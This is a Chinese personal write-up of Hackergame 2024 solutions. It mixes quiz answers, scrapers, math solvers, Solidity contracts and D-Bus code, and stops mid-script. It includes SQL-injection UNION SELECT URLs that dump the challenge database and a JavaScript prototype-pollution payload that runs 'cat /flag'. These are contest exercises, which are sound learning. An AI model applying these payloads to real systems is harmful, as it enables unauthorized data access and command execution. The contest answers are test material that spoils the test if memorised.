Y1yan's Hackergame 2024 个人题解前言本文同时发布于 我的博客，欢迎到我的博客进行IP1的加（好玩喵，下次还来玩喵\~另外，多图预警喵（1. 签到这道题要求输入多个语言的启动，具体内容已经在 placeholder 中给出了。因此这里直接使用js脚本取出来再填进去。（话说好几种语言都是不同的冒号，处理起来麻烦了一些）a=document.getElementsByClassName("input-box"); console.log(a[1]); a = Array.from(a); a.forEach((e)=>{ b = e.getAttribute("placeholder").split(': '); b = b[b.length-1]; b = b.split('；'); b = b[b.length-1]; b = b.split('：'); b = b[b.length-1]; b = b.split('：'); b = b[b.length-1]; b = b.split('：'); b = b[b.length-1]; b = b.split('：'); b = b[b.length-1]; console.log(b); e.value = b; });2. 喜欢做签到的 CTFer 你们好呀还是有点曲折的（先搜索 nebula 招新 找到 NEBULA 招新的 Github 仓库，但这里什么有用的东西都没有，就从仓库的创建者入手。找到 唯一一个 commit 的提交者，发现他的博客网址中有 nebuu.la， 于是访问，看见一个类似终端的网页。输入 help 能看见所有能输入的命令，然后试出来输入 env 可以看见一个flag。之后试了一阵子没找到第二个 flag，之后试了下整个页面都是纯前端渲染，没有后端的部分。于是直接 f12 查看源代码，然后 ctrl+f 搜索 flag，倒是很快就找到第二个 flag 了。把 atob... 的那些代码粘贴到控制台运行一下就有了。猫咪问答（Hackergame 十周年纪念版）1. 在 Hackergame 2015 比赛开始前一天晚上开展的赛前讲座是在哪个教室举行的？搜索 Hackergame 2015 可以找到对应的比赛的公告存档，再页面可以看到对应的教室 3A204。2. 众所周知，Hackergame 共约 25 道题目。近五年（不含今年）举办的 Hackergame 中，题目数量最接近这个数字的那一届比赛里有多少人注册参加？上 Hackergame 的 Github 把历年的题数都数一遍，发现最接近的是2019年，然后在 https://lug.ustc.edu.cn/news/2019/12/hackergame-2019/ 得知注册人数是 2682。3. Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一在 2018 年猫咪问答的官方题解 中可以看到：`在中国科大图书馆中，有一本书叫做《程序员的自我修养:链接、装载与库》，请问它的索书号是？打开中国科大图书馆主页，直接搜索“程序员的自我修养”即可。`不难推测出本题答案。4. 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文，在论文中作者提出了 6 种攻击方法，并在多少个电子邮件服务提供商及客户端的组合上进行了实验？首先搜索进入 USENIX 的官网，之后搜索 USTC， email 等关键词就可以找到对应的论文：FakeBehalf: Imperceptible Email Spoofing Attacks against the Delegation Mechanism in Email Systems之后，把论文下载下来，丢给 ChatGPT：但这个并不是正确答案。实际上，客户端还多了一个：Web interface。因此，实际答案是： (20+1)*16 = 3365. 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少？首先找到 Linux 内核的 git 仓库 https://git.kernel.org/根据题目，直接右上角搜索 MAINTAINERS https://git.kernel.org/?q=MAINTAINERS把每一个都点进去，查找 10 月18 日附近 Greg Kroah-Hartman 的相关内容，不难发现对应的 commit。点进去就是对应的 commit 了。6. 大语言模型会把输入分解为一个一个的 token 后继续计算，请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token？正确但错误的做法搜索 Llama 的 github 仓库，可以找到 这个 Llama 的仓库 。点进去就可以下载到 Llama 3 的模型了。但直接 clone 还是有 tokenizer 的。于是写改一改下面的代码：# 上面是原封不动的 llama-models-main/models/llama3/api/tokenizer.py doctext = ''' 这里是网页的 html 源代码 ''' if __name__ == '__main__': tk = Tokenizer(model_path='./tokenizer.model') # 不懂 bos 和 eos 是干什么的，就都试一遍（ res = tk.encode(s=doctext, bos=False, eos=False) print(len(res)) res = tk.encode(s=doctext, bos=False, eos=True) print(len(res)) res = tk.encode(s=doctext, bos=True, eos=False) print(len(res)) res = tk.encode(s=doctext, bos=True, eos=True) print(len(res)) 可惜得出的结果并不正确，我也不知道为什么（错误但正确的解法直接爆破，反正结果应该不会和 1900 差太多：import requests import datetime import time num = 1700 while True: time.sleep(1) url = 'http://202.38.93.141:13030/' cookies = {'session': '<Session>'} data = { "q1": "3A204", "q2": "2682", "q3": "程序员的自我修养", "q4": "336", "q5": "6e90b6", "q6": str(num) } response = requests.post(url, data=data, cookies=cookies) #print(response.text) if "达到 100 分获取第二个 flag" in response.text: print(str(num), "❌") else: print(str(num), "✅") break num += 1 if num > 2000: break打不开的盒把题目的模型下载下来，然后 blender 打开，进入编辑模式，把上面的点全删了就能看见了。每日论文太多了！这道题我一定要吐槽下：这个提示怎么不早点放啊，当时这道题没什么思路，我是把作者的 Github， Huggingface 和两个博客都翻遍了，都没有找到。全都找完了才告诉我只用看 PDF 就行了。顺便好奇有多少人给作者发了邮件（最后是在打开论文后，Ctrl+F 搜了一下 flag，发现了 flag here。之后直接 WPS打开，把图片移走就可以看见 flag 了。比大小王直接 F12 看源码，能看到题目的运行逻辑。然后写出脚本：submit(state.values.map((arr)=> arr[0] > arr[1] ? '>' : '<'));注意不要在倒计时还没开始的时候就按回车，否则就会时间穿越（旅行照片 4.0问题 1: 照片拍摄的位置距离中科大的哪个校门更近？只有 4x4=16 种可能，直接爆破（问题 2: 话说 Leo 酱上次出现在桁架上是……科大今年的 ACG 音乐会？活动日期我没记错的话是？（格式：YYYYMMDD）搜到 B 站主页，发现上次直播就是科大今年的 ACG 音乐会。直接看上次直播的日期就行了。问题 3: 这个公园的名称是什么？（不需要填写公园所在市区等信息）照片的垃圾桶放大可以看见“六安园林”的字样。总之我是直接问 ai 六安市所有的公园都有哪些，然后全试了一遍（问题 4: 这个景观所在的景点的名字是？（三个汉字）直接百度识图，能找到一大堆相关的网页，不难总结出位置。问题 5 - 6不会，摸了（没想到 google 能直接识图出来不宽的宽字符最开始开以为是要用到控制字符什么的，结果发现根本不用（先把代码下载到本地 Visual Studio 调试一下。发现运行到这里就运行不下去了，哪怕是输入正确的路径。进一步点进去查看可以看到，wchar 一个字符是 2 字节，但 char 只有一字节，所以中间会空出来一部分位置。因此想到，可以直接把对应的变量用 char 修改成我们需要的值，然后再用 wchar 看一下里面的内容是什么就行了。因为在 wchar 里面会有很多 0，因此会自动把后面的内容忽略，就不用管后面加的那些字符了。Node.js is Web Scale又是一道利用到搜索引擎的题（在 Javascript 中，存在着 proto 这个东西。在 Javascript 的对象中去根据 key 取值的时候，如果这个对象自身没有这个 key，就会尝试去父类中去找。而一个对象的 proto 就是这个对象的父类。因此这道题可以直接构造store.__proto__.xxx = 'cat /flag';之后再通过/execute?cmd=xxx就可以拿到 flag 了。PaoluGPT千里挑一从这道题的小题目可以看出，flag 应该就藏在这么多对话记录的其中一个里。因此直接写一个脚本扫一遍就可以了。import requests import re import time url = 'https://chal01-kpqsf2ts.hack-challenge.lug.ustc.edu.cn:8443/list' cookies = { '_ga':'GA1.1.70803825.1729666822', '_ga_R7BPZT6779':'GS1.1.1730533581.4.1.1730535251.58.0.654533782', 'session': '<session>' } response = requests.get(url, cookies=cookies) pat_geturls = re.compile(r' ') urls = pat_geturls.findall(response.text) cnt = 0 for cid in urls: url = 'https://chal01-kpqsf2ts.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id='+cid data = {'conversation_id': cid} response = requests.get(url, cookies=cookies) if "flag" in response.text: print(response.text) print(str(cnt), "✅") break else: print(str(cnt), "❌") time.sleep(0.5) cnt += 1感觉这里的 time.sleep(0.5) 可能没什么必要，不过感觉还是写爬虫的好习惯，还是加上了。窥视未知这里就得看看源码了。从源码来看，这应该是一道 sql 注入题。我是从 这个网址 来学着注入的。先获随便点一个聊天记录，燃火获取表的相关信息：https://chal01-wext3czh.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=8b8678d1-55ef-4132-b511-bb69ae29e779%27%20union%20select%201,sql%20from%20sqlite_master%20where%20type=%27table%27--得出：CREATE TABLE messages (id text primary key, title text, contents text, shown boolean)得知表中有一个 shown 项，那自然是要查查它等于 false 时的内容了https://chal01-wext3czh.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=8b8678d1-55ef-4132-b511-bb69ae29e779%27%20union%20select%201,id%20from%20messages%20where%20shown%20=%20false--得到结果点进去：我当时的第一反应是：我尼玛玩我呢，这就是你的 shown=false ？于是怒而直接把数据库里的东西全输出出来：https://chal01-wext3czh.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=8b8678d1-55ef-4132-b511-bb69ae29e779%27%20union%20select%201,group_concat(contents)%20from%20messages%20--然后直接 Ctrl+F然后这时才想起来这道题在有flag 的页面前面加了一大堆换行（用这个方法也是可以直接拿到 2 个 flag 的。强大的正则表达式Easy第一问要求输出一个正则表达式，匹配出可以被 16 整除的数字。因为一个数除 4 的余数只跟其最后 4 位有关，因此不难穷举出所有情况。（脚本没了，只剩下这个字符串）：regex_string = r'(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032|0048|0064|0080|0096|0112|0128|0144|0160|0176|0192|0208|0224|0240|0256|0272|0288|0304|0320|0336|0352|0368|0384|0400|0416|0432|0448|0464|0480|0496|0512|0528|0544|0560|0576|0592|0608|0624|0640|0656|0672|0688|0704|0720|0736|0752|0768|0784|0800|0816|0832|0848|0864|0880|0896|0912|0928|0944|0960|0976|0992|1008|1024|1040|1056|1072|1088|1104|1120|1136|1152|1168|1184|1200|1216|1232|1248|1264|1280|1296|1312|1328|1344|1360|1376|1392|1408|1424|1440|1456|1472|1488|1504|1520|1536|1552|1568|1584|1600|1616|1632|1648|1664|1680|1696|1712|1728|1744|1760|1776|1792|1808|1824|1840|1856|1872|1888|1904|1920|1936|1952|1968|1984|2000|2016|2032|2048|2064|2080|2096|2112|2128|2144|2160|2176|2192|2208|2224|2240|2256|2272|2288|2304|2320|2336|2352|2368|2384|2400|2416|2432|2448|2464|2480|2496|2512|2528|2544|2560|2576|2592|2608|2624|2640|2656|2672|2688|2704|2720|2736|2752|2768|2784|2800|2816|2832|2848|2864|2880|2896|2912|2928|2944|2960|2976|2992|3008|3024|3040|3056|3072|3088|3104|3120|3136|3152|3168|3184|3200|3216|3232|3248|3264|3280|3296|3312|3328|3344|3360|3376|3392|3408|3424|3440|3456|3472|3488|3504|3520|3536|3552|3568|3584|3600|3616|3632|3648|3664|3680|3696|3712|3728|3744|3760|3776|3792|3808|3824|3840|3856|3872|3888|3904|3920|3936|3952|3968|3984|4000|4016|4032|4048|4064|4080|4096|4112|4128|4144|4160|4176|4192|4208|4224|4240|4256|4272|4288|4304|4320|4336|4352|4368|4384|4400|4416|4432|4448|4464|4480|4496|4512|4528|4544|4560|4576|4592|4608|4624|4640|4656|4672|4688|4704|4720|4736|4752|4768|4784|4800|4816|4832|4848|4864|4880|4896|4912|4928|4944|4960|4976|4992|5008|5024|5040|5056|5072|5088|5104|5120|5136|5152|5168|5184|5200|5216|5232|5248|5264|5280|5296|5312|5328|5344|5360|5376|5392|5408|5424|5440|5456|5472|5488|5504|5520|5536|5552|5568|5584|5600|5616|5632|5648|5664|5680|5696|5712|5728|5744|5760|5776|5792|5808|5824|5840|5856|5872|5888|5904|5920|5936|5952|5968|5984|6000|6016|6032|6048|6064|6080|6096|6112|6128|6144|6160|6176|6192|6208|6224|6240|6256|6272|6288|6304|6320|6336|6352|6368|6384|6400|6416|6432|6448|6464|6480|6496|6512|6528|6544|6560|6576|6592|6608|6624|6640|6656|6672|6688|6704|6720|6736|6752|6768|6784|6800|6816|6832|6848|6864|6880|6896|6912|6928|6944|6960|6976|6992|7008|7024|7040|7056|7072|7088|7104|7120|7136|7152|7168|7184|7200|7216|7232|7248|7264|7280|7296|7312|7328|7344|7360|7376|7392|7408|7424|7440|7456|7472|7488|7504|7520|7536|7552|7568|7584|7600|7616|7632|7648|7664|7680|7696|7712|7728|7744|7760|7776|7792|7808|7824|7840|7856|7872|7888|7904|7920|7936|7952|7968|7984|8000|8016|8032|8048|8064|8080|8096|8112|8128|8144|8160|8176|8192|8208|8224|8240|8256|8272|8288|8304|8320|8336|8352|8368|8384|8400|8416|8432|8448|8464|8480|8496|8512|8528|8544|8560|8576|8592|8608|8624|8640|8656|8672|8688|8704|8720|8736|8752|8768|8784|8800|8816|8832|8848|8864|8880|8896|8912|8928|8944|8960|8976|8992|9008|9024|9040|9056|9072|9088|9104|9120|9136|9152|9168|9184|9200|9216|9232|9248|9264|9280|9296|9312|9328|9344|9360|9376|9392|9408|9424|9440|9456|9472|9488|9504|9520|9536|9552|9568|9584|9600|9616|9632|9648|9664|9680|9696|9712|9728|9744|9760|9776|9792|9808|9824|9840|9856|9872|9888|9904|9920|9936|9952|9968|9984)'虽然这个正则没有考虑到 n \< 10000 的情况，但生成数字的范围很大，即使是重复 40 次，出现一个小于 10000 的数的概率也是微乎其微的，因此可以直接使用。Medium这道题也是搜了一些资料，发现了正则表达式和有限状态机的互转。具体原理已经有很多其他大佬的 WP 写过了，这里就只放一段我当时写的脚本吧，可以求任意数字是否可以被整除的正则表达式。ADDITION_CHARACTER = '|' def genemat(n): m = matrix = [['' for _ in range(n)] for _ in range(n)] for i in range(n): t = i * (n//2+1) % n m[i][t] = '0' m[(i+1)%n][t] = '1' return m def mul(a, b): if a != '' and b != '': return a + b elif a != '' and b == '': return a elif a == '' and b != '': return '' else: return '' def add(a, b): if a != '' and b != '': return '(' + a + ADDITION_CHARACTER + b + ')' elif a != '' and b == '': return a elif a == '' and b != '': return b else: return '' N = 13 m = genemat(N) for k in range(N-1, 0, -1): if(m[k][k] != ''): for i in range(k): m[k][i] = mul(m[k][i], '('+m[k][k]+')*') m[k][k] = '' for i in range(k): if(m[i][k] != ''): for j in range(k): m[i][j] = add(m[i][j], mul(m[k][j], m[i][k])) m[i][k] = '' print(m[0][0])Hard可能有点思路吧，但不会 CRC，因此，过！惜字如金第一题直接肉眼补全就行了2-3不会，过！优雅的不等式Easy直接输入：4*((1-x**2)**(1/2)-(1-x))4*(1-x**2)**(1/2)-4*(1-x**2)拿到第一个 flagHard这道题再找资料的时候看到了 科普】如何优雅地“注意到”关于e、π的不等式 这篇文章。于是可以参考他给出的形式写出代码：from pwn import * import sympy as sp class Solver(): now_n = 75 cnt = 1 def solve_eqn(self, p, q): p = sp.Integer(p) q = sp.Integer(q) for n in range(self.now_n, 100): x, a, b, c = sp.symbols('x a b c') expression = x ** n * (1 - x) ** n * (a + b * x + c * x ** 2) / ( 1 + x ** 2) integral_result = sp.integrate(expression, (x, 0, 1)).simplify() eqns = [ integral_result.coeff(sp.pi, 1) - 1, integral_result.coeff(sp.ln(2), 1), integral_result - integral_result.coeff(sp.pi, 1) * sp.pi - integral_result.coeff(sp.ln(2), 1) * sp.ln(2) + p / q ] solution = sp.solve(eqns, (a, b, c)) try: cof = [sp.Rational(str(solution[_])) for _ in solution] except: continue ret_str = 'x**{}*(1-x)**{}*({}+({})*x+{}*x**2)/(1+x**2)'.format(n, n, cof[0], cof[1], cof[2]) ret_expr = sp.parsing.sympy_parser.parse_expr(ret_str) ret_int_res = sp.integrate(ret_expr, (x, 0, 1)) domain = sp.Interval(0, 1) if sp.solveset(ret_expr >= 0, x, domain) == domain: self.cnt += 1 self.now_n = n return ret_str r = remote('202.38.93.141', 14514) r.recvuntil(b'Please input your token: ') r.sendline(b'<token>') res = r.recvline().decode() # Please prove that pi>=2 r.recvuntil(b'Enter the function f(x): ') r.sendline('4*((1-x**2)**(1/2)-(1-x))'.encode()) solver = Solver() res = r.recvline().decode() # Q.E.D. res = r.recvline().decode() # Please prove that pi>=8/3 print('Server >', res, end='') r.recvuntil(b'Enter the function f(x): ') split1 = res.split('=')[1].split('/') nums = res.split('=')[1].split('/') ans = solver.solve_eqn(int(nums[0]), int(nums[1])) r.sendline(ans.encode()) print('Server >', r.recvline().decode(), end='') print('Server >', r.recvline().decode(), end='') print('Server >', r.recvline().decode(), end='') for i in range(38): time_begin = time.time() res = r.recvline().decode() # Please prove that pi>=2 print('Server >', res, end='') r.recvuntil(b'Enter the function f(x): ') split1 = res.split('=') split2 = split1[1] nums = [int(i) for i in split2.split('/')] ans = solver.solve_eqn(int(nums[0]), int(nums[1])) print('Input >', ans, end='') r.sendline(ans.encode()) res = r.recvline().decode() # Q.E.D. print('Server >', res) print('Solved >', i, 'in: ', time.time() - time_begin) while(True): res = r.recvline().decode() print(res)这个脚本我在本地是能跑通的，但在解题时，最多只能解到 30 多，再之后就会因积分时间太长而被 kill。试了试改成其他的形式，但数学功底不过关，积分求解都很慢，于是只好放弃。无法获得的秘密题目是有 VNC 给我们用的，因此最容易想到的想法就是把文件做成图片，然后把图片截出来进行解码。在运行环境中最大屏幕分辨率可以达到 1920x1200，位深为 24 bit。因此一帧最大传输的数据量为 1920x1200x24/8 = 6192000 bit ≈ 6.5 MB 。而要传输的文件只有 512KB ，绰绰有余。不过由于传输画面的压缩问题，实际上一帧传输的数据量会小很多。最开始想的办法是多做几张图片，比如把 2x2=4 个像素表示 1bit 的信息，虽然要多截几张图，但可以保证一定的冗余。直到我发现了这个，，把压缩率拉到最小，再去看就会发现传输的画面是完全不压缩的，每个像素点在运行环境中是多少，传过来再截图还是多少。这样再做就轻松多了。最后手撕了一下 BMP，得到了下面的代码。其中还包含一个自己生成文件测试的函数。import PIL.Image as Image import os from PIL import Image from numpy import average, dot, linalg import time import hashlib import binascii TEST_FILE_NAME = 'testfile.bin' IMAGES_CNT = 1 # 这个函数是 gene_image 的简化版，好抄一些 def fun(): # 424d 36eb 4100 0000 0000 3600 # 0000 2800 0000 0807 0000 2003 # 0000 0100 1800 0000 0000 00eb # 4100 2516 0000 2516 0000 0000 # 0000 0000 0000 bh = bytes.fromhex("424d36eb41000000000036000000280000000807000020030000010018000000000000eb410025160000251600000000000000000000") binary_sequences = [] item='' with open(TEST_FILE_NAME, 'rb') as f: chunk = f.read(524288) item = ''.join(format(byte, '08b') for byte in chunk) # sha256_hash = hashlib.sha256() # sha256_hash.update(chunk) # print(sha256_hash.hexdigest()) pd = '' item += '0'*128696 for y in range(800): for x in range(1800): for z in range(3): pos = ((799-y) * 1800 + x)*3+z if item[pos] == '1': pd += 'ff' else: pd += '00' with open('output0.bmp', 'wb') as f: f.write(bh) f.write(bytes.fromhex(pd)) def gene_test_file(): with open(TEST_FILE_NAME, 'wb') as f: f.write(os.urandom(524288)) sha256_hash = hashlib.sha256() with open(TEST_FILE_NAME, 'rb') as f: for byte_block in iter(lambda: f.read(4096), b""): sha256_hash.update(byte_block) print(sha256_hash.hexdigest()) def gene_images(): width = 1920 height = 1080 row_padded = (width * 3 + 3) & (~3) # 每行需要4的倍数 # BMP文件头 bmp_file_header = bytearray([ 0x42, 0x4D, # 'BM' 0x36, 0x00, 0x00, 0x00, # 文件大小 (54 + pixel_data.size) 0x00, 0x00, # 保留字段1 0x00, 0x00, # 保留字段2 0x36, 0x00, 0x00, 0x00, # 像素数据偏移 0x28, 0x00, 0x00, 0x00, # 信息头大小 0x80, 0x07, 0x00, 0x00, # 图像宽度 (1024) 0x38, 0x04, 0x00, 0x00, # 图像高度 (1024) 0x01, 0x00, # 颜色平面数 0x18, 0x00, # 每像素位数 (24) 0x00, 0x00, 0x00, 0x00, # 压缩方式 0x00, 0x00, 0x00, 0x00, # 图像数据大小 0x13, 0x0B, 0x00, 0x00, # 水平分辨率 (2835像素/米) 0x13, 0x0B, 0x00, 0x00, # 垂直分辨率 (2835像素/米) 0x00, 0x00, 0x00, 0x00, # 使用的颜色数 0x00, 0x00, 0x00, 0x00 # 重要颜色数 ]) bmp_file_header = bytes.fromhex("424d36ec5e000000000036000000280000008007000038040000010018000000000000ec5e0000000000000000000000000000000000") # 创建像素数据 binary_sequences = [] # 读取文件并分块 with open(TEST_FILE_NAME, 'rb') as f: for i in range(16): chunk = f.read(32768) if not chunk: # 如果没有更多内容，停止读取 break # 将每个字节转换为二进制字符串 binary_sequence = ''.join(format(byte, '08b') for byte in chunk) binary_sequences.append(binary_sequence) pd = '' item = ''.join(binary_sequences) print(len(item)) item += '0'*(1920*1080*3-4194304) print(len(item)) print(item[0:10]) for y in range(1080): for x in range(1920): for z in range(3): pos = ((1079-y) * 1920 + x)*3+z if item[pos] == '1': pd += 'ff' else: pd += '00' # 写入文件 with open('output0.bmp', 'wb') as f: f.write(bmp_file_header) f.write(bytes.fromhex(pd)) def img2bin(): res = [] for i in range(IMAGES_CNT): filename = 'output0.png' # 打开图片 img = Image.open(filename).convert('RGB') width, height = img.size binary_sequence = "" for i in range(4194304//3+1): x0 = i % 1800 y0 = i // 1800 try: color = img.getpixel((x0, y0)) except: print(width, height) print(x0, y0) exit() if color[2] > 127: binary_sequence += "1" # 白色部分 else: binary_sequence += "0" # 黑色部分 if color[1] > 127: binary_sequence += "1" # 白色部分 else: binary_sequence += "0" # 黑色部分 if color[0] > 127: binary_sequence += "1" # 白色部分 else: binary_sequence += "0" # 黑色部分 binary_sequence = binary_sequence[0:4194304] print(binary_sequence[0:10]) print(len(binary_sequence)) bytes_object = bytes([int(binary_sequence[i:i+8], 2) for i in range(0, len(binary_sequence), 8)]) hex_data = binascii.hexlify(bytes_object) res.append(bytes_object) bytes_joiner = b'' origin_bytes = bytes_joiner.join(res) sha256_hash = hashlib.new('sha256') sha256_hash.update(origin_bytes) print(sha256_hash.hexdigest()) with open('a.bin', 'wb') as f: f.write(origin_bytes) if __name__ == "__main__": # gene_test_file() # gene_images() # fun() img2bin()在环境上运行脚本，可以得到下面的图片：虽然乱了些，但要是使用取色工具不难发现，每个像素不是 ff 就是 00，完全没有压缩，很容易恢复。实际操作中可以使用浏览器打开，使用 100% 缩放来防止像素被破坏。截得时候不用太仔细，截出来再用画图工具裁切一下就行了。链上转账助手转账失败这道题只要转账失败就可以拿到 flag，因此找到在接收 token 的时候执行的函数，随便找个理由给他拒绝了就行了。这里随便找了个合约的代码改了改：// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ConditionalReceiveEther { uint public minimumAmount = 100000 ether; event Received(address sender, uint amount); receive() external payable { require(msg.value >= minimumAmount, "Amount sent is less than the minimum required"); emit Received(msg.sender, msg.value); _afterReceiveEther(); } fallback() external payable { require(msg.value >= minimumAmount, "Amount sent is less than the minimum required"); emit Received(msg.sender, msg.value); _afterReceiveEther(); } function _afterReceiveEther() private { } function getBalance() public view returns (uint) { return address(this).balance; } function setMinimumAmount(uint _newMinimumAmount) public { minimumAmount = _newMinimumAmount; } }转账又失败这道题虽然一开始没什么思路，但对比第三问，只是在第二题的基础上加上了 gas 的限制，因此第二问也很简单了，只要把 gas 耗光就行了：// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ConditionalReceiveEther { uint public minimumAmount = 1000000 ether; event Received(address sender, uint amount); receive() external payable { uint j = 0; while (j < 100000) { j += 1; } emit Received(msg.sender, msg.value); _afterReceiveEther(); } fallback() external payable {; uint j = 0; while (j < 100000) { j += 1; } emit Received(msg.sender, msg.value); _afterReceiveEther(); } function _afterReceiveEther() private { } function getBalance() public view returns (uint) { return address(this).balance; } function setMinimumAmount(uint _newMinimumAmount) public { minimumAmount = _newMinimumAmount; } }不太分布式的软总线这是一道 general ai 题。本来看到题目这么靠后是不打算做的，直到看到有群友靠 ai 做出来了（这就是所谓的 面向群友解题 吧What DBus Gonna Do?题目本身给了个示例代码，稍微修改一下使其符合要求就行了#define _GNU_SOURCE #include <fcntl.h> #include <gio/gio.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define DEST "cn.edu.ustc.lug.hack.FlagService" #define OBJECT_PATH "/cn/edu/ustc/lug/hack/FlagService" #define METHOD "GetFlag1" #define INTERFACE "cn.edu.ustc.lug.hack.FlagService" static void on_method_call_reply(GObject* source_object, GAsyncResult* res, gpointer user_data) { } int main() { GError *error = NULL; GDBusConnection *connection; GVariant *result; connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error); if (!connection) { g_printerr("Failed to connect to the system bus: %s\n", error->message); g_error_free(error); return EXIT_FAILURE; } // Call the D-Bus method result = g_dbus_connection_call_sync(connection, DEST, // destination OBJECT_PATH, // object path INTERFACE, // interface name METHOD, // method g_variant_new("(s)", "Please give me flag1"), // parameters NULL, // expected return type G_DBUS_CALL_FLAGS_NONE, -1, // timeout (use default) NULL, &error); if (result) { gchar* myres; g_variant_get(result, "(&s)", &myres); g_print("%s\n", myres); g_variant_unref(result); } else { g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message); g_error_free(error); } g_object_unref(connection); return EXIT_SUCCESS; }If I Could Be A File Descriptor 250 117同样，只要把问题部分的源码扔给 ChatGPT，让后让他写段符合要求的代码，然后再改改就行了。#define _GNU_SOURCE #include <fcntl.h> #include <gio/gio.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define DEST "cn.edu.ustc.lug.hack.FlagService" #define OBJECT_PATH "/cn/edu/ustc/lug/hack/FlagService" #define METHOD "GetFlag2" #define INTERFACE "cn.edu.ustc.lug.hack.FlagService" static void on_method_call_reply(GObject* source_object, GAsyncResult* res, gpointer user_data) { } int main() { GError *error = NULL; GDBusConnection *connection; GVariant *result; int fd = memfd_create("my_memfile", MFD_CLOEXEC); if (fd == -1) { perror("E1"); return 1; } const char *msg = "Please give me flag2\n"; if (write(fd, msg, strlen(msg)) == -1) { perror("Error\n"); close(fd); return 1; } lseek(fd, 0, SEEK_SET); connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error); if (!connection) { g_printerr("Failed to connect to the system bus: %s\n", error->message); g_error_free(error); return EXIT_FAILURE; } GVariantBuilder builder; g_variant_builder_init(&builder, G_VARIANT_TYPE("(h)")); g_variant_builder_add(&builder, "h", 0); GUnixFDList* fd_list; GUnixFDList* out_fd_list; fd_list = g_unix_fd_list_new(); g_unix_fd_list_append(fd_list, fd, &error); if (error != NULL) { g_error("Error\n"); g_error_free(error); g_object_unref(connection); return 1; } GVariant* parameters; parameters = g_variant_builder_end(&builder); // Call the D-Bus method result = g_dbus_connection_call_with_unix_fd_list_sync(connection, DEST, // destination OBJECT_PATH, // object path INTERFACE, // interface name METHOD, // method parameters, // parameters NULL, // expected return type G_DBUS_CALL_FLAGS_NONE, -1, // timeout (use default) fd_list, &out_fd_list, NULL, &error); if (result) { gchar* myres; g_variant_get(result, "(&s)", &myres); g_print("%s\n", myres); g_variant_unref(result); } else { g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message); g_error_free(error); } g_object_unref(connection); return EXIT_SUCCESS; }Comm Say Maybe最后一问，题目要求执行文件的文件名为 getflag3，观察源码可知题目并没有对执行权限作出限制，因此直接把自己复制一份就行了。#define _GNU_SOURCE #include <fcntl.h> #include <gio/gio.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define DEST "cn.edu.ustc.lug.hack.FlagService" #define OBJECT_PATH "/cn/edu/ustc/lug/hack/FlagService" #define METHOD "GetFlag2" #define INTERFACE "cn.edu.ustc.lug.hack.FlagService" static void on_method_call_reply(GObject* source_object, GAsyncResult* res, gpointer user_data) { } int main(int argc, char* argv) { if(argc == 1) { system("cp /dev/shm/executable /dev/shm/getflag3"); system("/dev/shm/getflag3 123 123"); return 0; } GError *error = NULL; GDBusConnection *connection; GVariant *result; connection = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &error); if (!connection) { g_printerr("Failed to connect to the system bus: %s\n", error->message); g_error_free(error); return EXIT_FAILURE; } // Call the D-Bus method result = g_dbus_connection_call_sync(connection, DEST, // destination OBJECT_PATH, // object path INTERFACE, // interface name METHOD, // method NULL, // parameters NULL, // expected return type G_DBUS_CALL_FLAGS_NONE, -1, // timeout (use default) NULL, &error); if (result) { g_print("Get result but I won't show you :)\n"); g_variant_unref(result); } else { g_printerr("Error calling D-Bus method %s: %s\n", METHOD, error->message); g_error_free(error); } g_object_unref(connection); return EXIT_SUCCESS; }关灯Easy - Hard这道题和 2 维的关灯基本一样，我直接去抄了个代码改改就过了。需要注意的就是在 3 维的时候有时候会出现多解，需要额外处理下。import numpy as np from pwn import * def gauss(a, nn): r = 0 for c in range(nn): t = r for i in range(r, nn): if a[i, c] == 1: t = i break if a[t,c] == 0: continue # 换到最上面 for i in range(c, nn+1): swaper = a[t, i] a[t, i] = a[r, i] a[r, i] = swaper # 下面都变成0 for i in range(r+1, nn): if a[i, c] == 1: for j in range(c, nn+1): # ???? a[i, j] ^= a[r, j] r += 1 # 检查是否有解 # for i in range(r, nn): # if a[i, nn] == 1: # return -1 # 化为行最简 for i in range(0, nn): p = -1 for j in range(i, nn): if a[i, j] == 1: p = j break if p == -1: break for j in range(0, i): if a[j, p] == 1: for k in range(p, nn+1): a[j, k] ^= a[i, k] # 换位 i是行 for i in range(nn-1, -1, -1): p = -1 for j in range(0, nn): if a[i, j] == 1: p = j break if p == i: break if p == -1: continue for j in range(p, nn+1): a[p, j] = a[i, j] a[i, j] = 0 return a def solve(goal, n): nn = n ** 3 mat = np.zeros((nn, nn+1), dtype=int) for i in range(n): for j in range(n): for k in range(n): pos = i*n**2 + j*n + k mat[pos, pos] = 1 if i - 1 >= 0: mat[pos, (i-1)*n**2 + j*n + k] = 1 if i + 1 < n: mat[pos, (i+1)*n**2 + j*n + k] = 1 if j - 1 >= 0: mat[pos, i*n**2 + (j-1)*n + k] = 1 if j + 1 < n: mat[pos, i*n**2 + (j+1)*n + k] = 1 if k - 1 >= 0: mat[pos, i*n**2 + j*n + (k-1)] = 1 if k + 1 < n: mat[pos, i*n**2 + j*n + (k+1)] = 1 for i in range(nn): if goal[i] == '1': mat[i, nn] = 1 else: mat[i, nn] = 0 resmat = gauss(mat, nn) resstr = '' for i in range(nn): if mat[i, nn] == 1: resstr += '1' else: resstr += '0' return resstr SOLVE_DIIFFICULTY = 3 SOLVE_N = 